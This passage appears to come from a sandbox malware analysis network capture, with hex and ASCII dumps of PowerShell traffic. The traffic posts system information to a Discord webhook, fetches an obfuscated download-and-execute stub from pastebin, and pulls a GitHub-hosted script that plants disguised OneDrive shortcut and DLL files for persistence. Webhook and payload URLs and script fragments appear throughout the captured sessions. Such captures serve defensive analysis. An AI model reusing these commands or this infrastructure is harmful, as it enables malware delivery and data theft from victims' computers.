erSystem.CodeDom.CompilerpatternscanTimermainloopTimerprocessWaitTimerprocessStartTimerIContainergetSpinSuperset_UseVisualStyleBackColorget_CursorSetSystemCursor.ctor.cctorIntPtrstrhcurSystem.DiagnosticsSystem.Runtime.InteropServicesSyst
2024-10-15 14:00:08 UTC	1378	IN	Data Raw: 63 00 72 00 56 00 61 00 6c 00 00 21 66 00 6c 00 6f 00 77 00 4c 00 61 00 79 00 6f 00 75 00 74 00 50 00 61 00 6e 00 65 00 6c 00 31 00 00 13 67 00 72 00 6f 00 75 00 70 00 42 00 6f 00 78 00 31 00 00 09 53 00 65 00 6c 00 66 00 00 11 61 00 64 00 64 00 78 00 70 00 42 00 74 00 6e 00 00 0d 41 00 64 00 64 00 20 00 58 00 50 00 00 11 61 00 64 00 64 00 78 00 70 00 56 00 61 00 6c 00 00 1f 67 00 65 00 74 00 53 00 70 00 69 00 6e 00 53 00 75 00 70 00 65 00 72 00 56 00 61 00 6c 00 00 23 67 00 65 00 74 00 53 00 70 00 69 00 6e 00 52 00 65 00 67 00 75 00 6c 00 61 00 72 00 56 00 61 00 6c 00 00 23 67 00 65 00 74 00 53 00 70 00 69 00 6e 00 52 00 65 00 67 00 75 00 6c 00 61 00 72 00 42 00 74 00 6e 00 00 1d 41 00 64 00 64 00 20 00 57 00 68 00 65 00 65 00 6c 00 73 00 70 00 69 00 6e Data Ascii: crVal!flowLayoutPanel1groupBox1SelfaddxpBtnAdd XPaddxpValgetSpinSuperVal#getSpinRegularVal#getSpinRegularBtnAdd Wheelspin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49860	162.159.138.232	443	7428	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 14:00:23 UTC	311	OUT	POST /api/webhooks/1284710807871033355/x0K3Voa94DlgTs4VQWHyks9bUB8i5Uipo6HRW6lKUeKFJpTODgkBqgFx7seLHmsLq996 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/json Host: discord.com Content-Length: 214 Connection: Keep-Alive
2024-10-15 14:00:23 UTC	214	OUT	Data Raw: 7b 0d 0a 20 20 20 20 22 63 6f 6e 74 65 6e 74 22 3a 20 20 22 2a 2a 61 6c 66 6f 6e 73 2a 2a 20 68 61 73 20 6a 6f 69 6e 65 64 20 2d 20 46 48 35 5c 6e 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 5c 6e 2a 2a 47 50 55 3a 2a 2a 20 34 45 53 46 53 38 47 35 5c 6e 2a 2a 43 50 55 3a 2a 2a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 5c 6e 2a 2a 43 50 55 20 43 6f 72 65 73 3a 2a 2a 20 34 20 34 22 0d 0a 7d Data Ascii: { "content": "user has joined - FH5\n----------------------------------\nGPU: 4ESFS8G5\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nCPU Cores: 4 4"}
2024-10-15 14:00:23 UTC	1257	IN	HTTP/1.1 404 Not Found Date: Tue, 15 Oct 2024 14:00:23 GMT Content-Type: application/json Content-Length: 45 Connection: close Cache-Control: public, max-age=3600, s-maxage=3600 strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1729000824 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yZwHVV3oyM08cJv8SLb5u5nA1EtS3vbqCCwyFfcgFUn2fz1GDF60NiE7DhBB%2BMjh2NBXMnQXHguIiht1a7WCvdTIX59D%2FUNewqEHY9Ctb%2Bjqussj2z9OmtQyYb%2B4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Set-Cookie: __cfruid=2c6b90bcc111f27f2ee13f9d01d696a78cc3cbd8-1729000823; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: _cfuvid=kdwA._iH252scPNEf4uY2uYh8cCZejVEgGbwGQZlEuQ-1729000823460-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8d3055c9ed552c98-DFW
2024-10-15 14:00:23 UTC	45	IN	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d Data Ascii: {"message": "Unknown Webhook", "code": 10015}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49870	172.67.19.24	443	3136	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 14:00:24 UTC	169	OUT	GET /raw/sA04Mwk2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
2024-10-15 14:00:24 UTC	397	IN	HTTP/1.1 200 OK Date: Tue, 15 Oct 2024 14:00:24 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 474 Last-Modified: Tue, 15 Oct 2024 13:52:30 GMT Server: cloudflare CF-RAY: 8d3055d36bff2821-DFW
2024-10-15 14:00:24 UTC	139	IN	Data Raw: 38 35 0d 0a 63 61 6c 6c 69 54 28 57 49 4e 44 4f 57 53 5f 4e 54 20 28 22 72 61 77 2e 67 69 22 2b 22 74 68 75 62 22 2b 22 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 22 2b 22 6f 6d 2f 4e 65 22 2b 22 74 68 33 4e 2f 6e 61 39 6f 77 33 34 39 35 72 61 79 67 77 69 34 22 2b 22 67 79 72 68 75 61 77 65 72 61 77 65 72 61 2f 6d 61 69 6e 2f 67 61 62 65 72 2e 74 78 74 22 29 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 0d 0a Data Ascii: 85calliT(WINDOWS_NT ("raw.gi"+"thub"+"usercontent.c"+"om/Ne"+"th3N/na9ow3495raygwi4"+"gyrhuawerawera/main/gaber.txt") -usebasicparsing)
2024-10-15 14:00:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49881	185.199.110.133	443	3136	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 14:00:26 UTC	222	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-10-15 14:00:27 UTC	901	IN	HTTP/1.1 200 OK Connection: close Content-Length: 7508 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "085e232a893b000bbbc5e224886d89e33401e064c6e72827d0c19fb0195af2ea" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: B26C:32E28B:21F9020:25C3557:670E73A0 Accept-Ranges: bytes Date: Tue, 15 Oct 2024 14:00:26 GMT Via: 1.1 varnish X-Served-By: cache-dfw-kdal2120025-DFW X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1729000827.964673,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 1d66c4e997f276562cac0ff04f01836a062e2838 Expires: Tue, 15 Oct 2024 14:05:26 GMT Source-Age: 32
2024-10-15 14:00:27 UTC	1378	IN	Data Raw: 73 6c 65 65 70 20 35 0a 72 6d 20 22 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 4d 69 63 72 6f 73 6f 66 74 20 4f 6e 65 44 72 69 76 65 5c 46 69 6c 65 53 79 6e 63 5c 42 65 67 69 6e 53 79 6e 63 2e 6c 6e 6b 22 20 2d 46 6f 72 63 65 0a 73 6c 65 65 70 20 35 0a 0a 0a 24 67 6f 6f 67 6f 6f 67 61 61 67 61 61 20 3d 20 22 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 4d 69 63 72 6f 73 6f 66 74 20 4f 6e 65 44 72 69 76 65 5c 46 69 6c 65 53 79 6e 63 5c 42 65 67 69 6e 53 79 6e 63 2e 6c 6e 6b 22 0a 69 66 20 28 2d 4e 6f 74 20 28 54 65 73 74 2d 50 61 74 68 20 24 67 6f 6f 67 6f 6f 67 61 61 67 61 61 29 29 20 7b 0a 72 6d 20 24 65 6e 76 3a 74 6d 70 5c 6f 6e 65 64 72 69 76 65 66 69 6c 65 73 79 6e 63 2e 64 6c 6c 20 2d 66 6f 72 63 65 0a 4e 65 77 2d 49 74 65 6d 50 72 6f 70 65 72 74 Data Ascii: sleep 5rm "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk" -Forcesleep 5$googoogaagaa = "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"if (-Not (Test-Path $googoogaagaa)) {rm $env:tmp\onedrivefilesync.dll -forceNew-ItemPropert
2024-10-15 14:00:27 UTC	1378	IN	Data Raw: 2c 30 2c 30 2c 37 34 2c 30 2c 39 2c 30 2c 34 2c 30 2c 32 33 39 2c 31 39 30 2c 31 36 37 2c 38 34 2c 31 33 30 2c 34 32 2c 34 31 2c 38 39 2c 32 30 38 2c 31 38 39 2c 34 36 2c 30 2c 30 2c 30 2c 36 35 2c 32 34 38 2c 30 2c 30 2c 30 2c 30 2c 31 2c 30 2c 30 2c 30 2c 30 2c 30 2c 31 31 36 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 31 33 32 2c 31 31 36 2c 32 36 2c 30 2c 31 30 32 2c 30 2c 31 31 31 2c 30 2c 31 31 34 2c 30 2c 31 30 32 2c 30 2c 31 30 35 2c 30 2c 31 30 38 2c 30 2c 31 30 31 2c 30 2c 31 31 35 2c 30 2c 34 36 2c 30 2c 31 30 31 2c 30 2c 31 32 30 2c 30 2c 31 30 31 2c 30 2c 30 2c 30 2c 32 38 2c 30 2c 30 2c 30 2c 38 36 2c 30 2c 30 2c 30 2c 32 38 2c 30 2c 30 2c 30 2c 31 2c 30 2c 30 2c 30 2c 32 38 2c 30 2c 30 2c 30 2c 35 32 2c 30 2c 30 2c 30 2c 30 2c Data Ascii: ,0,0,74,0,9,0,4,0,239,190,167,84,130,42,41,89,208,189,46,0,0,0,65,248,0,0,0,0,1,0,0,0,0,0,116,0,0,0,0,0,0,0,0,0,132,116,26,0,102,0,111,0,114,0,102,0,105,0,108,0,101,0,115,0,46,0,101,0,120,0,101,0,0,0,28,0,0,0,86,0,0,0,28,0,0,0,1,0,0,0,28,0,0,0,52,0,0,0,0,
2024-10-15 14:00:27 UTC	1378	IN	Data Raw: 2c 30 2c 39 37 2c 30 2c 31 30 38 2c 30 2c 31 30 38 2c 30 2c 31 30 35 2c 30 2c 31 31 36 2c 30 2c 33 32 2c 30 2c 31 30 35 2c 30 2c 36 39 2c 30 2c 31 32 30 2c 30 2c 35 39 2c 30 2c 33 32 2c 30 2c 31 31 35 2c 30 2c 39 37 2c 30 2c 31 30 38 2c 30 2c 33 32 2c 30 2c 33 36 2c 30 2c 31 30 31 2c 30 2c 31 31 30 2c 30 2c 31 31 38 2c 30 2c 35 38 2c 30 2c 31 31 31 2c 30 2c 31 31 35 2c 30 2c 33 32 2c 30 2c 31 30 35 2c 30 2c 38 37 2c 30 2c 31 31 34 2c 30 2c 35 39 2c 30 2c 33 32 2c 30 2c 39 39 2c 30 2c 39 37 2c 30 2c 31 30 38 2c 30 2c 31 30 38 2c 30 2c 31 30 35 2c 30 2c 38 34 2c 30 2c 34 30 2c 30 2c 38 37 2c 30 2c 37 33 2c 30 2c 37 38 2c 30 2c 36 38 2c 30 2c 37 39 2c 30 2c 38 37 2c 30 2c 38 33 2c 30 2c 39 35 2c 30 2c 37 38 2c 30 2c 38 34 2c 30 2c 33 32 2c 30 2c 31 31 32 2c Data Ascii: ,0,97,0,108,0,108,0,105,0,116,0,32,0,105,0,69,0,120,0,59,0,32,0,115,0,97,0,108,0,32,0,36,0,101,0,110,0,118,0,58,0,111,0,115,0,32,0,105,0,87,0,114,0,59,0,32,0,99,0,97,0,108,0,108,0,105,0,84,0,40,0,87,0,73,0,78,0,68,0,79,0,87,0,83,0,95,0,78,0,84,0,32,0,112,
2024-10-15 14:00:27 UTC	1378	IN	Data Raw: 31 2c 30 2c 35 31 2c 30 2c 35 30 2c 30 2c 35 31 2c 30 2c 34 38 2c 30 2c 35 30 2c 30 2c 34 39 2c 30 2c 34 35 2c 30 2c 35 37 2c 30 2c 34 39 2c 30 2c 35 33 2c 30 2c 35 32 2c 30 2c 35 31 2c 30 2c 35 36 2c 30 2c 34 38 2c 30 2c 35 34 2c 30 2c 35 37 2c 30 2c 34 35 2c 30 2c 35 31 2c 30 2c 35 30 2c 30 2c 35 30 2c 30 2c 35 30 2c 30 2c 35 31 2c 30 2c 35 34 2c 30 2c 35 31 2c 30 2c 35 37 2c 30 2c 35 32 2c 30 2c 35 32 2c 30 2c 34 35 2c 30 2c 34 39 2c 30 2c 34 38 2c 30 2c 34 38 2c 30 2c 34 39 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 31 37 37 2c 30 2c 30 2c 30 2c 34 39 2c 38 33 2c 38 30 2c 38 33 2c 34 38 2c 32 34 31 2c 33 37 2c 31 38 33 2c 32 33 39 2c 37 31 2c 32 36 2c 31 36 2c 31 36 35 2c 32 34 31 2c 32 2c 39 36 2c 31 34 30 2c 31 35 38 2c 32 33 35 2c 31 37 32 2c 34 Data Ascii: 1,0,51,0,50,0,51,0,48,0,50,0,49,0,45,0,57,0,49,0,53,0,52,0,51,0,56,0,48,0,54,0,57,0,45,0,51,0,50,0,50,0,50,0,51,0,54,0,51,0,57,0,52,0,52,0,45,0,49,0,48,0,48,0,49,0,0,0,0,0,0,0,177,0,0,0,49,83,80,83,48,241,37,183,239,71,26,16,165,241,2,96,140,158,235,172,4
2024-10-15 14:00:27 UTC	1378	IN	Data Raw: 63 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 6f 72 20 7c 20 53 65 6c 65 63 74 2d 4f 62 6a 65 63 74 20 2d 50 72 6f 70 65 72 74 79 20 4e 61 6d 65 2c 20 4d 61 6e 75 66 61 63 74 75 72 65 72 2c 20 4e 75 6d 62 65 72 4f 66 43 6f 72 65 73 2c 20 4e 75 6d 62 65 72 4f 66 4c 6f 67 69 63 61 6c 50 72 6f 63 65 73 73 6f 72 73 0a 0a 23 20 52 65 74 72 69 65 76 65 20 47 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 67 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 56 69 64 65 6f 43 6f 6e 74 72 6f 6c 6c 65 72 20 7c 20 53 65 6c 65 63 74 2d 4f 62 6a 65 63 74 20 2d 50 72 6f 70 65 72 74 79 20 4e 61 6d 65 2c 20 41 64 61 70 74 65 72 52 41 4d 2c 20 44 72 69 Data Ascii: cpu = Get-WmiObject -Class Win32_Processor \| Select-Object -Property Name, Manufacturer, NumberOfCores, NumberOfLogicalProcessors# Retrieve GPU information$gpu = Get-WmiObject -Class Win32_VideoController \| Select-Object -Property Name, AdapterRAM, Dri
2024-10-15 14:00:27 UTC	618	IN	Data Raw: 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 22 40 0a 7d 20 7c 20 43 6f 6e 76 65 72 74 54 6f 2d 4a 73 6f 6e 0a 0a 23 20 53 65 6e 64 20 74 68 65 20 50 4f 53 54 20 72 65 71 75 65 73 74 20 74 6f 20 74 68 65 20 77 65 62 68 6f 6f 6b 20 55 52 4c 0a 74 72 79 20 7b 0a 20 20 20 20 49 6e 76 6f 6b 65 2d 52 65 73 74 4d 65 74 68 6f 64 20 2d 55 72 69 20 24 77 65 62 68 6f 6f 6b 55 72 6c 20 2d 4d 65 74 68 6f 64 20 50 6f 73 74 20 2d 42 6f 64 79 20 24 70 61 79 6c 6f 61 64 20 2d 43 6f 6e 74 65 6e 74 54 79 70 65 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 0a 20 20 20 20 57 72 69 74 65 2d 4f 75 74 70 75 74 20 22 4d 65 73 73 61 67 65 20 73 65 6e 74 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e 22 0a 7d 20 63 61 74 63 68 20 7b 0a 20 20 20 20 57 Data Ascii: ======================"@} \| ConvertTo-Json# Send the POST request to the webhook URLtry { Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $payload -ContentType "application/json" Write-Output "Message sent successfully."} catch { W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49910	172.67.19.24	443	7296	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 14:00:32 UTC	169	OUT	GET /raw/sA04Mwk2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
2024-10-15 14:00:32 UTC	397	IN	HTTP/1.1 200 OK Date: Tue, 15 Oct 2024 14:00:32 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 482 Last-Modified: Tue, 15 Oct 2024 13:52:30 GMT Server: cloudflare CF-RAY: 8d3056036af745f9-DFW
2024-10-15 14:00:32 UTC	139	IN	Data Raw: 38 35 0d 0a 63 61 6c 6c 69 54 28 57 49 4e 44 4f 57 53 5f 4e 54 20 28 22 72 61 77 2e 67 69 22 2b 22 74 68 75 62 22 2b 22 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 22 2b 22 6f 6d 2f 4e 65 22 2b 22 74 68 33 4e 2f 6e 61 39 6f 77 33 34 39 35 72 61 79 67 77 69 34 22 2b 22 67 79 72 68 75 61 77 65 72 61 77 65 72 61 2f 6d 61 69 6e 2f 67 61 62 65 72 2e 74 78 74 22 29 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 0d 0a Data Ascii: 85calliT(WINDOWS_NT ("raw.gi"+"thub"+"usercontent.c"+"om/Ne"+"th3N/na9ow3495raygwi4"+"gyrhuawerawera/main/gaber.txt") -usebasicparsing)
2024-10-15 14:00:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49921	185.199.110.133	443	7296	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 14:00:33 UTC	222	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-10-15 14:00:34 UTC	901	IN	HTTP/1.1 200 OK Connection: close Content-Length: 7508 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "085e232a893b000bbbc5e224886d89e33401e064c6e72827d0c19fb0195af2ea" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: B26C:32E28B:21F9020:25C3557:670E73A0 Accept-Ranges: bytes Date: Tue, 15 Oct 2024 14:00:33 GMT Via: 1.1 varnish X-Served-By: cache-dfw-kdal2120137-DFW X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1729000834.966828,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 8d4ffef0feea02d9669decbe1be041a036f9619f Expires: Tue, 15 Oct 2024 14:05:33 GMT Source-Age: 39
2024-10-15 14:00:34 UTC	1378	IN	Data Raw: 73 6c 65 65 70 20 35 0a 72 6d 20 22 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 4d 69 63 72 6f 73 6f 66 74 20 4f 6e 65 44 72 69 76 65 5c 46 69 6c 65 53 79 6e 63 5c 42 65 67 69 6e 53 79 6e 63 2e 6c 6e 6b 22 20 2d 46 6f 72 63 65 0a 73 6c 65 65 70 20 35 0a 0a 0a 24 67 6f 6f 67 6f 6f 67 61 61 67 61 61 20 3d 20 22 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 4d 69 63 72 6f 73 6f 66 74 20 4f 6e 65 44 72 69 76 65 5c 46 69 6c 65 53 79 6e 63 5c 42 65 67 69 6e 53 79 6e 63 2e 6c 6e 6b 22 0a 69 66 20 28 2d 4e 6f 74 20 28 54 65 73 74 2d 50 61 74 68 20 24 67 6f 6f 67 6f 6f 67 61 61 67 61 61 29 29 20 7b 0a 72 6d 20 24 65 6e 76 3a 74 6d 70 5c 6f 6e 65 64 72 69 76 65 66 69 6c 65 73 79 6e 63 2e 64 6c 6c 20 2d 66 6f 72 63 65 0a 4e 65 77 2d 49 74 65 6d 50 72 6f 70 65 72 74 Data Ascii: sleep 5rm "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk" -Forcesleep 5$googoogaagaa = "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"if (-Not (Test-Path $googoogaagaa)) {rm $env:tmp\onedrivefilesync.dll -forceNew-ItemPropert
2024-10-15 14:00:34 UTC	1378	IN	Data Raw: 2c 30 2c 30 2c 37 34 2c 30 2c 39 2c 30 2c 34 2c 30 2c 32 33 39 2c 31 39 30 2c 31 36 37 2c 38 34 2c 31 33 30 2c 34 32 2c 34 31 2c 38 39 2c 32 30 38 2c 31 38 39 2c 34 36 2c 30 2c 30 2c 30 2c 36 35 2c 32 34 38 2c 30 2c 30 2c 30 2c 30 2c 31 2c 30 2c 30 2c 30 2c 30 2c 30 2c 31 31 36 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 31 33 32 2c 31 31 36 2c 32 36 2c 30 2c 31 30 32 2c 30 2c 31 31 31 2c 30 2c 31 31 34 2c 30 2c 31 30 32 2c 30 2c 31 30 35 2c 30 2c 31 30 38 2c 30 2c 31 30 31 2c 30 2c 31 31 35 2c 30 2c 34 36 2c 30 2c 31 30 31 2c 30 2c 31 32 30 2c 30 2c 31 30 31 2c 30 2c 30 2c 30 2c 32 38 2c 30 2c 30 2c 30 2c 38 36 2c 30 2c 30 2c 30 2c 32 38 2c 30 2c 30 2c 30 2c 31 2c 30 2c 30 2c 30 2c 32 38 2c 30 2c 30 2c 30 2c 35 32 2c 30 2c 30 2c 30 2c 30 2c Data Ascii: ,0,0,74,0,9,0,4,0,239,190,167,84,130,42,41,89,208,189,46,0,0,0,65,248,0,0,0,0,1,0,0,0,0,0,116,0,0,0,0,0,0,0,0,0,132,116,26,0,102,0,111,0,114,0,102,0,105,0,108,0,101,0,115,0,46,0,101,0,120,0,101,0,0,0,28,0,0,0,86,0,0,0,28,0,0,0,1,0,0,0,28,0,0,0,52,0,0,0,0,
2024-10-15 14:00:34 UTC	1378	IN	Data Raw: 2c 30 2c 39 37 2c 30 2c 31 30 38 2c 30 2c 31 30 38 2c 30 2c 31 30 35 2c 30 2c 31 31 36 2c 30 2c 33 32 2c 30 2c 31 30 35 2c 30 2c 36 39 2c 30 2c 31 32 30 2c 30 2c 35 39 2c 30 2c 33 32 2c 30 2c 31 31 35 2c 30 2c 39 37 2c 30 2c 31 30 38 2c 30 2c 33 32 2c 30 2c 33 36 2c 30 2c 31 30 31 2c 30 2c 31 31 30 2c 30 2c 31 31 38 2c 30 2c 35 38 2c 30 2c 31 31 31 2c 30 2c 31 31 35 2c 30 2c 33 32 2c 30 2c 31 30 35 2c 30 2c 38 37 2c 30 2c 31 31 34 2c 30 2c 35 39 2c 30 2c 33 32 2c 30 2c 39 39 2c 30 2c 39 37 2c 30 2c 31 30 38 2c 30 2c 31 30 38 2c 30 2c 31 30 35 2c 30 2c 38 34 2c 30 2c 34 30 2c 30 2c 38 37 2c 30 2c 37 33 2c 30 2c 37 38 2c 30 2c 36 38 2c 30 2c 37 39 2c 30 2c 38 37 2c 30 2c 38 33 2c 30 2c 39 35 2c 30 2c 37 38 2c 30 2c 38 34 2c 30 2c 33 32 2c 30 2c 31 31 32 2c Data Ascii: ,0,97,0,108,0,108,0,105,0,116,0,32,0,105,0,69,0,120,0,59,0,32,0,115,0,97,0,108,0,32,0,36,0,101,0,110,0,118,0,58,0,111,0,115,0,32,0,105,0,87,0,114,0,59,0,32,0,99,0,97,0,108,0,108,0,105,0,84,0,40,0,87,0,73,0,78,0,68,0,79,0,87,0,83,0,95,0,78,0,84,0,32,0,112,
2024-10-15 14:00:34 UTC	1378	IN	Data Raw: 31 2c 30 2c 35 31 2c 30 2c 35 30 2c 30 2c 35 31 2c 30 2c 34 38 2c 30 2c 35 30 2c 30 2c 34 39 2c 30 2c 34 35 2c 30 2c 35 37 2c 30 2c 34 39 2c 30 2c 35 33 2c 30 2c 35 32 2c 30 2c 35 31 2c 30 2c 35 36 2c 30 2c 34 38 2c 30 2c 35 34 2c 30 2c 35 37 2c 30 2c 34 35 2c 30 2c 35 31 2c 30 2c 35 30 2c 30 2c 35 30 2c 30 2c 35 30 2c 30 2c 35 31 2c 30 2c 35 34 2c 30 2c 35 31 2c 30 2c 35 37 2c 30 2c 35 32 2c 30 2c 35 32 2c 30 2c 34 35 2c 30 2c 34 39 2c 30 2c 34 38 2c 30 2c 34 38 2c 30 2c 34 39 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 31 37 37 2c 30 2c 30 2c 30 2c 34 39 2c 38 33 2c 38 30 2c 38 33 2c 34 38 2c 32 34 31 2c 33 37 2c 31 38 33 2c 32 33 39 2c 37 31 2c 32 36 2c 31 36 2c 31 36 35 2c 32 34 31 2c 32 2c 39 36 2c 31 34 30 2c 31 35 38 2c 32 33 35 2c 31 37 32 2c 34 Data Ascii: 1,0,51,0,50,0,51,0,48,0,50,0,49,0,45,0,57,0,49,0,53,0,52,0,51,0,56,0,48,0,54,0,57,0,45,0,51,0,50,0,50,0,50,0,51,0,54,0,51,0,57,0,52,0,52,0,45,0,49,0,48,0,48,0,49,0,0,0,0,0,0,0,177,0,0,0,49,83,80,83,48,241,37,183,239,71,26,16,165,241,2,96,140,158,235,172,4
2024-10-15 14:00:34 UTC	1378	IN	Data Raw: 63 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 6f 72 20 7c 20 53 65 6c 65 63 74 2d 4f 62 6a 65 63 74 20 2d 50 72 6f 70 65 72 74 79 20 4e 61 6d 65 2c 20 4d 61 6e 75 66 61 63 74 75 72 65 72 2c 20 4e 75 6d 62 65 72 4f 66 43 6f 72 65 73 2c 20 4e 75 6d 62 65 72 4f 66 4c 6f 67 69 63 61 6c 50 72 6f 63 65 73 73 6f 72 73 0a 0a 23 20 52 65 74 72 69 65 76 65 20 47 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 67 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 56 69 64 65 6f 43 6f 6e 74 72 6f 6c 6c 65 72 20 7c 20 53 65 6c 65 63 74 2d 4f 62 6a 65 63 74 20 2d 50 72 6f 70 65 72 74 79 20 4e 61 6d 65 2c 20 41 64 61 70 74 65 72 52 41 4d 2c 20 44 72 69 Data Ascii: cpu = Get-WmiObject -Class Win32_Processor \| Select-Object -Property Name, Manufacturer, NumberOfCores, NumberOfLogicalProcessors# Retrieve GPU information$gpu = Get-WmiObject -Class Win32_VideoController \| Select-Object -Property Name, AdapterRAM, Dri
